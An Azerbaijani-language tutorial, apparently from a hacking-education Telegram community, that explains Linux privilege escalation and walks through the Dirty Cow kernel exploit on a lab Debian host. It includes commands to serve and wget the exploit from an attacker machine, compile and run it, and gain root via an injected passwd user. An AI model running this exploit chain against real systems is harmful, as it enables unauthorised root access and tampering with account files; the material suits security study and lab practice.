Linux Privilege Escalation nədir? Hansı təhlükəsizlik boşluqları var? Privilege Escalationda hansı məqamlara əsas fikir verilməlidir? Dirty Cow zəifliyi ilə necə exploit edilir?Kernel exploit nədir? Kernel nüvəsi zəifliyi olan Dirty Cow zəifliyinin istismarı necə aparılır?
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Linux Privilege Escalation
Bu mərhələdə bizim hədəf sistem üzərində kommanda icra edə biləcəyimiz shell vardır,ancaq bu shell-in məhdud istifadəçi ilə daxil ola bildiyimiz üçün bəzi məhdudiyyətləri mövcuddur.Privilege Escalation əsas məqsədi hədəf sistemdə root istifadəçisi şəklində shell almaqdır.Root istifadəçisini səlahiyyətləri bizdə olduqda hədəf sistemdə istədiyimiz sistem proseslərinə müdaxilə edə bilərik eləcədə digər sistem və cihazlara yönələ bilərik (buna Pivoting deyilir.).Bu paylaşım seriyasında əsas məqsəd olaraq Linux sistemlərdə Privilege Escalation (Səlahiyyət Artırmaq)-dır.
Linux Privilege Escalation Seriyası üzrə aşağıdakı məqamlara toxunacayıq:
- Linux nüvəsinin exploit edilməsi
- Linux SUİD exploit edilməsi
- Linux konfiqurasiya faylların manipulyasiya edilməsi
- Zəifliyi olan servislərdən istifadə
- sudoers üzərindən exploit edilməsi
- Linux Privilege Escalation üçün avtomatik scriptlərdən istifadə.
Nüvə exploiti və Konfiqurasiya faylların səhvləri
Linux sistemlərində Privilege Escalation sistem zəifliyi olaraq iki üsulla exploit edilə bilər:
- Nüvə zəifliyinin exploit edilməsi
- Sistemin konfiqurasiyasından yaranan xətalardan istifadə edərək.
Linux Nüvəsi Exploit Edilməsi
Linux nüvəsi və ya kernel Linux sisteminin mərkəzi, ürəyi hesab olunur və root səlahiyyətləri ilə işləyir. Müəyyən Kernel (Nüvə) versiyasında olan zəiflik və ya əksik konfiqurasiya nəticəsində istifadəçinin root rejimindən istifadə etməyinə icazə verir.
Bəzi hallarda exploitin tətbiq edilməsində problemlər yaranır.Belə problemlərin yaranmaması üçün hədəf sistemdə aşağıda göstərilən qaydada exploiti tətbiq edin.
- Kernel (Nüvə) versiyasını təyin edin.
- Kernel nüvəsinin versiyasına uyğun exploiti tapın.
- Exploiti zəiflik olan hədəfə köçürün.
- C dilində yazılmış kodu kompilyasiya etmək və hədəf sistemin bunu icra etməyini məcbur etmək.
Kernel Nüvə Exploiti: Dirty Cow
Dirty Cow (çirkli inək) yalnız oxumaq üçün olan faylların yazılması zamanı köçürülməsini təmin edir (Cow – copy-on-write).Bu exploit necə işləyir? Normal olaraq Cow mexanizmi işləyəndə faylı yaddaşa göndərir və orada onun kopyasını yaradır.Sonra isə nüvə verilənlər fayla yaddaşa yazır.Exploitin yaradıcıları bu işi görmək üçün 1000 dövrə yaradılar və həmin faylın yenidən yazılmasını mümkün qıldılar.Ən geniş yayılmış hücumu isə passwd/shadow faylarının yenidən yazılmasıdır.(Bu Linux sistemdə root istifadəçisi yaratmağa imkan verir).Exploit Kernel nüvəsinin bütün 3.9 versiyalarına qədər olan versiyalarda tətbiq edilə bilər.
Exploitin təbiətindən asılı olaraq hədəf sisteminiz çökə bilər, ona görə exploiti tətbiq edərkən ehtiyyatlı olmağınız məsləhətlidir.
İlk olaraq hədəf sistemdən aldığımız shelldə cari istifadəçinin icazələrinə baxaq.
TCM@debian:~$ id
uid=1000(TCM) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Gördüyümüz kimi TCM istifadəçisinin məhdud səlahiyyətləri vardır. /etc/shadow faylını oxumağa cəhd edərək bunu bir daha təsdiq edə bilərik.
TCM@debian:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
Sonra isə Debian sistemin Kernel nüvəsinin versiyasına öyrənək.
TCM@debian:~$ uname -a
Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64 GNU/Linux
Buradan gördüyümüz kimi Kernel nüvəsi versiyası 2.6 bizim əvvəl dediyimiz 3.9 versiyasından aşağıdır və o Dirty Cow zəifliyinə malikdir.Əgər googleda Dirty Cow exploit yazsanız orada zəifliyi olan versiyaların 2.6.22-dən 3.9-a qədər olduğunu görə bilərik.

Exploit-db saytından istifadə edərək exploitin mənbə kodlarını əldə edirik.Sayta buradan keçə bilərsiniz: https://www.exploit-db.com/exploits/40839
Saytdan C dilində yazılmış kodları yükləyirik öz Kali cihazımıza.Kali cihazı ilə hədəf sistemə qoşulu olduğunuz bir daha yoxlayın.
Növbəti problem olaraq C dilində yazılmış exploit kodunun hədəf sistemə ötürülməsidir.Bunu yerinə yetirmək üçün Python http.server modulundan istifadə edə bilərik.
┌──(root㉿kali)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Sonra isə hədəf sistemdən olan shellə keçid edin və aşağıdakı 5 əməliyyatı yerinə yetirin.
- işçi qovluqu /tmp olaraq dəyişin burada bizim digər qovluqlaran fərqli olara yazma icazəmiz vardır.
- wget kommandasından istifadə edərək kodu yükləyirik.
- Əldə edilmiş C kodunu kompilyasiya edin.(Faylın ən üst komment hissəsində göstərilmişdir)
- Exploiti icra edin.
- firefart istifadəçisinə keçid edin.
TCM@debian:~$ cd /tmp
TCM@debian:/tmp$ wget http://10.14.92.18/dirty.c
--2025-05-04 03:02:47-- http://10.14.92.18/dirty.c
Connecting to 10.14.92.18:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4828 (4.7K) [text/x-csrc]
Saving to: “dirty.c”
100%[=========================================================================================================================>] 4,828 --.-K/s in 0s
2025-05-04 03:02:47 (487 MB/s) - “dirty.c” saved [4828/4828]
TCM@debian:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
TCM@debian:/tmp$ chmod +x dirty
TCM@debian:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password:
Complete line:
firefart:fiOEyJZz3b5lA:0:0:pwned:/root:/bin/bash
mmap: 7fa9fbfc2000
madvise 0
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'hacked'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'hacked'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
TCM@debian:/tmp$ mv /tmp/passwd.bak /etc/passwd
mv: try to overwrite `/etc/passwd', overriding mode 0644 (rw-r--r--)?
TCM@debian:/tmp$ su firefart
Password:
firefart@debian:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
Biz artıd sistemdə root olduq!
Dirty Cow – Geniş yayılmış exploitlərdən yalnız biridir.Bu praktikanın, məsələnin əsas məqsədi isə gələcəkdə qarşılaşa biləcəyiniz zəifliklərdə exploitin yerinə yetiriməsi mexanizmini başa düşməkdir.Əgər siz digər bi exploit tətbiq etmək istəyirsinizsə (məsələn overlaysfs) o zaman eynilə bu üsul və ardıcılıqdan istifadə etməlisiniz.
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat